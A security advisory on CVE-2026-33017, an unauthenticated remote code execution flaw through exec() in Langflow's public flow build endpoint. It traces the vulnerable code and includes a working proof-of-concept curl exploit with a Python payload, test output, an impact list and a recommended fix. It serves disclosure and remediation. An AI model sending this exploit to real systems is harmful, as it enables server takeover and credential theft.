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Python CVE-2026-33017

CRITICAL
Eval Injection (CWE-95)
2026-03-17 https://github.com/langflow-ai/langflow GHSA-vwmf-pq79-vjvx
9.3
CVSS 4.0
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CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Started Trending
Mar 31, 2026 - 11:23 vuln.today
10.0
Added to CISA KEV
Mar 26, 2026 - 13:26 cisa
CISA KEV
PoC Detected
Mar 26, 2026 - 13:26 vuln.today
Public exploit code
Analysis Generated
Mar 17, 2026 - 20:30 vuln.today
CVE Published
Mar 17, 2026 - 20:05 nvd
CRITICAL 9.3

DescriptionNVD

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
# ATTACKER CONTROLLED
    request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,
# Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data)generate_flow_events() -- build.py:81
  2. create_graph()build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges()initialize()_build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component()instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code)create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

python
def prepare_global_scope(module):
    exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)
# line 352
        exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)
# line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

bash
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

bash
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

AspectCVE-2025-3248This Vulnerability
Endpoint/api/v1/validate/code/api/v1/build_public_tmp/{id}/flow
Fix appliedAdded Depends(get_current_active_user)None -- NEW vulnerability
Root causeMissing auth on code validationUnauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution viavalidate_code()exec()create_class()prepare_global_scope()exec()
CISA KEVYes (actively exploited)N/A (new finding)
Can simple auth fix?Yes (and it was fixed)No -- endpoint is *designed* to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_eventscreate_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

python
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )

AnalysisAI

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-33017, CVSS 9.3) in the public flow build API that allows attackers to execute arbitrary Python code by supplying malicious flow data. KEV-listed with public PoC, this vulnerability enables anyone with network access to a Langflow instance to achieve server compromise through the API that builds public flows without authentication.

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

{flow_id}/flow endpoint via WAF/firewall rules and disable public flow functionality if not business-critical. Within 7 days: Conduct threat hunting for exploitation attempts in API logs and assess whether public flows have been compromised; implement network segmentation to isolate affected systems. …

Sign in for detailed remediation steps.

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CVE-2026-33017 vulnerability details – vuln.today

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